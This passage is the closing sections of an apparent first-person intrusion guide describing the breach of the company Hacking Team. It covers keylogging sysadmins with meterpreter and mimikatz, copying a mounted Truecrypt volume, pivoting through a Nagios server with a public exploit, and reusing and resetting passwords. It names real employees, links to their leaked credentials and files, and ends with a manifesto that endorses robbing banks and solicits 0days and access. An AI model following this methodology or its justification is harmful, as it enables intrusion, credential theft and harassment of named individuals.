  570. [14], and GPO, you can spy on any employee, or even on the whole domain.
  571. [1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
  572. [2] http://www.harmj0y.net/blog/tag/powerview/
  573. [3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
  574. [4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
  575. [5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
  576. [6] http://www.slideshare.net/harmj0y/i-have-the-powerview
  577. [7] https://adsecurity.org/?p=2535
  578. [8] https://www.youtube.com/watch?v=rpwrKhgMd7E
  579. [9] https://github.com/mubix/netview
  580. [10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
  581. [11] https://adsecurity.org/?page_id=41
  582. [12] http://www.darkoperator.com/?tag=Active+Directory
  583. [13] https://github.com/PowerShellMafia/PowerSploit
  584. [14] https://github.com/samratashok/nishang
  585. --[ 14 - Hunting Sysadmins ]----------------------------------------------------
  586. Reading their documentation about their infrastructure [1], I saw that I was
  587. still missing access to something important - the "Rete Sviluppo", an isolated
  588. network with the source code for RCS. The sysadmins of a company always have
  589. access to everything, so I searched the computers of Mauro Romeo and Christian
  590. Pozzi to see how they administer the Sviluppo network, and to see if there
  591. were any other interesting systems I should investigate. It was simple to
  592. access their computers, since they were part of the windows domain where I'd
  593. already gotten admin access. Mauro Romeo's computer didn't have any ports
  594. open, so I opened the port for WMI [2] and executed meterpreter [3]. In
  595. addition to keylogging and screen scraping with Get-Keystrokes and
  596. Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
  597. [4], and searched for interesting files [5]. Upon seeing that Pozzi had a
  598. Truecrypt volume, I waited until he'd mounted it and then copied off the
  599. files. Many have made fun of Christian Pozzi's weak passwords (and of
  600. Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
  601. included them in the leak as a false clue, and to laugh at him. The reality is
  602. that mimikatz and keyloggers view all passwords equally.
  603. [1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
  604. [2] http://www.hammer-software.com/wmigphowto.shtml
  605. [3] https://www.trustedsec.com/june-2015/no_psexec_needed/
  606. [4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
  607. [5] http://pwnwiki.io/#!presence/windows/find_files.md
  608. [6] http://archive.is/TbaPy
  609. [7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
  610. [8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
  611. [9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/
  612. --[ 15 - The bridge ]-----------------------------------------------------------
  613. Within Christian Pozzi's Truecrypt volume, there was a textfile with many
  614. passwords [1]. One of those was for a Fully Automated Nagios server, which had
  615. access to the Sviluppo network in order to monitor it. I'd found the bridge I
  616. needed. The textfile just had the password to the web interface, but there was
  617. a public code execution exploit [2] (it's an unauthenticated exploit, but it
  618. requires that at least one user has a session initiated, for which I used the
  619. password from the textfile).
  620. [1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
  621. [2] http://seclists.org/fulldisclosure/2014/Oct/78
  622. --[ 16 - Reusing and resetting passwords ]--------------------------------------
  623. Reading the emails, I'd seen Daniele Milan granting access to git repos. I
  624. already had his windows password thanks to mimikatz. I tried it on the git
  625. server and it worked. Then I tried sudo and it worked. For the gitlab server
  626. and their twitter account, I used the "forgot my password" function along with
  627. my access to their mail server to reset the passwords.
  628. --[ 17 - Conclusion ]-----------------------------------------------------------
  629. That's all it takes to take down a company and stop their human rights abuses.
  630. That's the beauty and asymmetry of hacking: with 100 hours of work, one person
  631. can undo years of work by a multi-million dollar company. Hacking gives the
  632. underdog a chance to fight and win.
  633. Hacking guides often end with a disclaimer: this information is for
  634. educational purposes only, be an ethical hacker, don't attack systems you
  635. don't have permission to, etc. I'll say the same, but with a more rebellious
  636. conception of "ethical" hacking. Leaking documents, expropriating money from
  637. banks, and working to secure the computers of ordinary people is ethical
  638. hacking. However, most people that call themselves "ethical hackers" just work
  639. to secure those who pay their high consulting fees, who are often those most
  640. deserving to be hacked.
  641. Hacking Team saw themselves as part of a long line of inspired Italian design
  642. [1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
  643. and government, as part of a long tradition of Italian fascism. I'd like to
  644. dedicate this guide to the victims of the raid on the Armando Diaz school, and
  645. to all those who have had their blood spilled by Italian fascists.
  646. [1] https://twitter.com/coracurrier/status/618104723263090688
  647. --[ 18 - Contact ]--------------------------------------------------------------
  648. To send me spear phishing attempts, death threats in Italian [1][2], and to
  649. give me 0days or access inside banks, corporations, governments, etc.
  650. [1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
  651. [2] https://twitter.com/CthulhuSec/status/619459002854977537
  652. only encrypted email please:
  653. https://securityinabox.org/es/thunderbird_usarenigmail
  654. -----BEGIN PGP PUBLIC KEY BLOCK-----
  655. mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
  656. vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
  657. 27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
  658. +fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
  659. VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
  660. Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
  661. Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
  662. BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
  663. QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
  664. cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
  665. JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
  666. 4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
  667. X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
  668. VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
  669. oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
  670. n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
  671. Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
  672. WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
  673. jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
  674. CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
  675. OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
  676. LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
  677. JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
  678. Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
  679. D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
  680. =E5+y
  681. -----END PGP PUBLIC KEY BLOCK-----
  682. If not you, who? If not now, when?
  683. _ _ _ ____ _ _
  684. | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
  685. | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
  686. | _ | (_| | (__| < | |_) | (_| | (__| <|_|
  687. |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

comments powered by Disqus